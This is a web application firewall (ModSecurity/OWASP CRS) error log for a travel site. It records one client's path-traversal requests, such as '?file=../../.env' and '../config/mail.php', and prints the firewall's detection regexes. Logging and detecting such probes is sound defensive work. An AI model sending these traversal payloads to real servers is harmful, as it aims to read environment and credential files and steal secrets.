[Fri Jul 17 08:55:03.381996 2026] [security2:error] [pid 2023579:tid 2023579] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgieYpb_TFRze2EO3zOgAAAAE"]
[Fri Jul 17 08:55:03.752726 2026] [security2:error] [pid 2015125:tid 2015125] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:file. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:file: ../config/mail.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgjxJ0z2bEtnOrIXVARgAAAAk"]
[Fri Jul 17 08:55:03.752784 2026] [security2:error] [pid 2015125:tid 2015125] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:file. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:file: ../config/mail.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgjxJ0z2bEtnOrIXVARgAAAAk"]
[Fri Jul 17 08:55:03.753982 2026] [security2:error] [pid 2015125:tid 2015125] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgjxJ0z2bEtnOrIXVARgAAAAk"]
[Fri Jul 17 08:55:03.756022 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:file. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:file: ../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgj0kXT4NBqALj2lZ8dAAAABA"]
[Fri Jul 17 08:55:03.756086 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:file. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:file: ../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgj0kXT4NBqALj2lZ8dAAAABA"]
[Fri Jul 17 08:55:03.757718 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgj0kXT4NBqALj2lZ8dAAAABA"]
[Fri Jul 17 08:55:03.767176 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?file=..%2F..%2F.env&ref=sBbLxuGjmkkh5p9BJLwoMSUqqGN-cj0b95jMMIZoieq9XJRltKyvvurFs3524KSyUX18Mmu95tzNNGE1DmrLYQjfNBdpJBYt_J9CfG9Rqi9h49rn990FV1djEetkfSBg6Uhs2rXN7V2WTHp5xbVFDk8GqkcG-Le5vVFvbCTz5UkQq_Pp7jVIFfWo-bUqHdN5l5djUKGJMYmNPMMpOtA8X5wdMD92o3_XYQblFOSwnwfi1GUsFQxxhPUH37QBtVyQL1LBKcry2Qsh3imiqqu-b0c6&anything=LJHNJD2VE2MZJ67RH72MCK5JYYNQM34BUBNFTFWQG5IMXOF2YCYDJXFHBIJ3S55SOABQEDK7ZSD5ZYEUPPY75FAOQ4ESTC6HOZRTAIPOG6LSEMV7CQJIUCI75DYLS2CYM23XBMCRWEKU..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgj0gVnBK6wAv37w6sEQAAABQ"]
[Fri Jul 17 08:55:03.767255 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:file. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:file: ../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgj0gVnBK6wAv37w6sEQAAABQ"]
[Fri Jul 17 08:55:03.767348 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?file=../../.env&ref=sBbLxuGjmkkh5p9BJLwoMSUqqGN-cj0b95jMMIZoieq9XJRltKyvvurFs3524KSyUX18Mmu95tzNNGE1DmrLYQjfNBdpJBYt_J9CfG9Rqi9h49rn990FV1djEetkfSBg6Uhs2rXN7V2WTHp5xbVFDk8GqkcG-Le5vVFvbCTz5UkQq_Pp7jVIFfWo-bUqHdN5l5djUKGJMYmNPMMpOtA8X5wdMD92o3_XYQblFOSwnwfi1GUsFQxxhPUH37QBtVyQL1LBKcry2Qsh3imiqqu-b0c6&anything=LJHNJD2VE2MZJ67RH72MCK5JYYNQM34BUBNFTFWQG5IMXOF2YCYDJXFHBIJ3S55SOABQEDK7ZSD5ZYEUPPY75FAOQ4ESTC6HOZRTAIPOG6LSEMV7CQJIUCI75DYLS2CYM23XBMCRWEKUSK7GZ64KAY3A..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgj0gVnBK6wAv37w6sEQAAABQ"]
[Fri Jul 17 08:55:03.767403 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?file=../../.env&ref=sbblxugjmkkh5p9bjlwomsuqqgn-cj0b95jmmizoieq9xjrltkyvvurfs3524ksyux18mmu95tznnge1dmrlyqjfnbdpjbyt_j9cfg9rqi9h49rn990fv1djeetkfsbg6uhs2rxn7v2wthp5xbvfdk8gqkcg-le5vvfvbctz5ukqq_pp7jviffwo-buqhdn5l5djukgjmymnpmmpota8x5wdmd92o3_xyqblfoswnwfi1gusfqxxhpuh37qbtvyql1lbkcry2qsh3imiqqu-b0c6&anything=ljhnjd2ve2mzj67rh72mck5jyynqm34bubnftfwqg5imxof2ycydjxfhbij3s55soabqedk7zsd5zyeuppy75faoq4estc6hozrtaipog6lsemv7cqjiuci75dyls2cym23xbmcrwekusk7gz64kay3a..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgj0gVnBK6wAv37w6sEQAAABQ"]
[Fri Jul 17 08:55:03.767446 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:file. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:file: ../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgj0gVnBK6wAv37w6sEQAAABQ"]
[Fri Jul 17 08:55:03.767501 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:file. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:file: ../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgj0gVnBK6wAv37w6sEQAAABQ"]
[Fri Jul 17 08:55:03.769157 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 30)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgj0gVnBK6wAv37w6sEQAAABQ"]
[Fri Jul 17 08:55:03.775024 2026] [security2:error] [pid 2019501:tid 2019501] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?path=..%2F..%2F.env&ts=oNT1bvLtVAwkl36P_qXPX0EffYMFWWjwxQODeR-px5lRmMzUT28pOvKm4AQ9l-CO1aMygp-Z-_z0JO68r9CZLVwPAARRu9wY5IDEUjUG0TRPBwIcizYhgELMznz1wY7cC5HA0WrYipia_b-bVobpapJNtmNcdjRjpcXL6c8_AZLU7PKfborR37r7UySTtcW3qFBsdE67D-ndUZbSP0LjYWVWeKuNElR27CloIM8uZpWT2i7MND2ni3djql4pKvqO6X9gGQSEW_nUqKL_aob_cP2g&ref=23FJM3KPX334TSVWPCOSADCIKJQQZGPHZTP56LJJJXCDHBG4LSC6RT4ESPWZNF4B7YBAQLW7U7ZFU2FDFQLGZ2SDJPPW2KBESDP5MMUEMOOSYGHWZLA32S4D6WJAUHTDUDOGIFO77XVNFJ6DMI..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgj7EWOaI5pmYo9fnOxQAAAAA"]
[Fri Jul 17 08:55:03.775104 2026] [security2:error] [pid 2019501:tid 2019501] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:path. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:path: ../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgj7EWOaI5pmYo9fnOxQAAAAA"]
[Fri Jul 17 08:55:03.775206 2026] [security2:error] [pid 2019501:tid 2019501] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?path=../../.env&ts=oNT1bvLtVAwkl36P_qXPX0EffYMFWWjwxQODeR-px5lRmMzUT28pOvKm4AQ9l-CO1aMygp-Z-_z0JO68r9CZLVwPAARRu9wY5IDEUjUG0TRPBwIcizYhgELMznz1wY7cC5HA0WrYipia_b-bVobpapJNtmNcdjRjpcXL6c8_AZLU7PKfborR37r7UySTtcW3qFBsdE67D-ndUZbSP0LjYWVWeKuNElR27CloIM8uZpWT2i7MND2ni3djql4pKvqO6X9gGQSEW_nUqKL_aob_cP2g&ref=23FJM3KPX334TSVWPCOSADCIKJQQZGPHZTP56LJJJXCDHBG4LSC6RT4ESPWZNF4B7YBAQLW7U7ZFU2FDFQLGZ2SDJPPW2KBESDP5MMUEMOOSYGHWZLA32S4D6WJAUHTDUDOGIFO77XVNFJ6DMIIG6CVYFZVZYR..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgj7EWOaI5pmYo9fnOxQAAAAA"]
[Fri Jul 17 08:55:03.775270 2026] [security2:error] [pid 2019501:tid 2019501] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?path=../../.env&ts=ont1bvltvawkl36p_qxpx0effymfwwjwxqoder-px5lrmmzut28povkm4aq9l-co1amygp-z-_z0jo68r9czlvwpaarru9wy5ideujug0trpbwicizyhgelmznz1wy7cc5ha0wryipia_b-bvobpapjntmncdjrjpcxl6c8_azlu7pkfborr37r7uysttcw3qfbsde67d-nduzbsp0ljywvwekunelr27cloim8uzpwt2i7mnd2ni3djql4pkvqo6x9ggqsew_nuqkl_aob_cp2g&ref=23fjm3kpx334tsvwpcosadcikjqqzgphztp56ljjjxcdhbg4lsc6rt4espwznf4b7ybaqlw7u7zfu2fdfqlgz2sdjppw2kbesdp5mmuemoosyghwzla32s4d6wjauhtdudogifo77xvnfj6dmiig6cvyfzvzyr..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgj7EWOaI5pmYo9fnOxQAAAAA"]
[Fri Jul 17 08:55:03.775320 2026] [security2:error] [pid 2019501:tid 2019501] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:path. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:path: ../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgj7EWOaI5pmYo9fnOxQAAAAA"]
[Fri Jul 17 08:55:03.775366 2026] [security2:error] [pid 2019501:tid 2019501] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:path. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:path: ../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgj7EWOaI5pmYo9fnOxQAAAAA"]
[Fri Jul 17 08:55:03.777122 2026] [security2:error] [pid 2019501:tid 2019501] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 30)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgj7EWOaI5pmYo9fnOxQAAAAA"]
[Fri Jul 17 08:55:03.843333 2026] [security2:error] [pid 1993715:tid 1993715] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?file=..%2F..%2Fconfig%2Fmail.php&ref=cauRzBnEYOvqmmnc3NgZHtOOMAAfO7jST4ms2JJ3xbfaR78Gq3fer-nec9L6s_98q9XeW9wJDBx3CkGHYKmlHPLYRF1yC2KR6cb8hIS0IZe2AEd--34JmIdmsE9IR-X9dyR-jp5fP2OTsIYsF_4-DmM2-UPoSM1_7kJF6MR6a2RTfxX-AmbUYlT36JbVWrJ7dGn4Gzdxr3GWTN-lV-083l6pNhLzYg2o0X_uhp4ZjaajeJiEQ-TyFY7Tp_FngRt_JiCDhhqiVBeOyPZfYF3e3Vo4&debug=PBUNUKZRNWRRQ5OXWPX4IJD6HO2TTDVSA5BUSEYODEIWIASZHZO5UVXCR7F7XQKVTEYL26GFAJOAPLZLLNLOIZSORLLENL6PDLUFDTBP3QXLDVB7QNR4DBKPKBNU25WEUF..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgj3RlmrtCoY_COpclwgAAAAg"]
[Fri Jul 17 08:55:03.843384 2026] [security2:error] [pid 1993715:tid 1993715] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:file. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:file: ../../config/mail.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgj3RlmrtCoY_COpclwgAAAAg"]
[Fri Jul 17 08:55:03.843431 2026] [security2:error] [pid 1993715:tid 1993715] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?file=../../config/mail.php&ref=cauRzBnEYOvqmmnc3NgZHtOOMAAfO7jST4ms2JJ3xbfaR78Gq3fer-nec9L6s_98q9XeW9wJDBx3CkGHYKmlHPLYRF1yC2KR6cb8hIS0IZe2AEd--34JmIdmsE9IR-X9dyR-jp5fP2OTsIYsF_4-DmM2-UPoSM1_7kJF6MR6a2RTfxX-AmbUYlT36JbVWrJ7dGn4Gzdxr3GWTN-lV-083l6pNhLzYg2o0X_uhp4ZjaajeJiEQ-TyFY7Tp_FngRt_JiCDhhqiVBeOyPZfYF3e3Vo4&debug=PBUNUKZRNWRRQ5OXWPX4IJD6HO2TTDVSA5BUSEYODEIWIASZHZO5UVXCR7F7XQKVTEYL26GFAJOAPLZLLNLOIZSORLLENL6PDLUFDTBP3QXLDVB7QNR4DBKPKBNU25WEUFQLSSZXSR37LKPF..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgj3RlmrtCoY_COpclwgAAAAg"]
[Fri Jul 17 08:55:03.843468 2026] [security2:error] [pid 1993715:tid 1993715] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?file=../../config/mail.php&ref=caurzbneyovqmmnc3ngzhtoomaafo7jst4ms2jj3xbfar78gq3fer-nec9l6s_98q9xew9wjdbx3ckghykmlhplyrf1yc2kr6cb8his0ize2aed--34jmidmse9ir-x9dyr-jp5fp2otsiysf_4-dmm2-uposm1_7kjf6mr6a2rtfxx-ambuylt36jbvwrj7dgn4gzdxr3gwtn-lv-083l6pnhlzyg2o0x_uhp4zjaajejieq-tyfy7tp_fngrt_jicdhhqivbeoypzfyf3e3vo4&debug=pbunukzrnwrrq5oxwpx4ijd6ho2ttdvsa5buseyodeiwiaszhzo5uvxcr7f7xqkvteyl26gfajoaplzllnloizsorllenl6pdlufdtbp3qxldvb7qnr4dbkpkbnu25weufqlsszxsr37lkpf..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgj3RlmrtCoY_COpclwgAAAAg"]
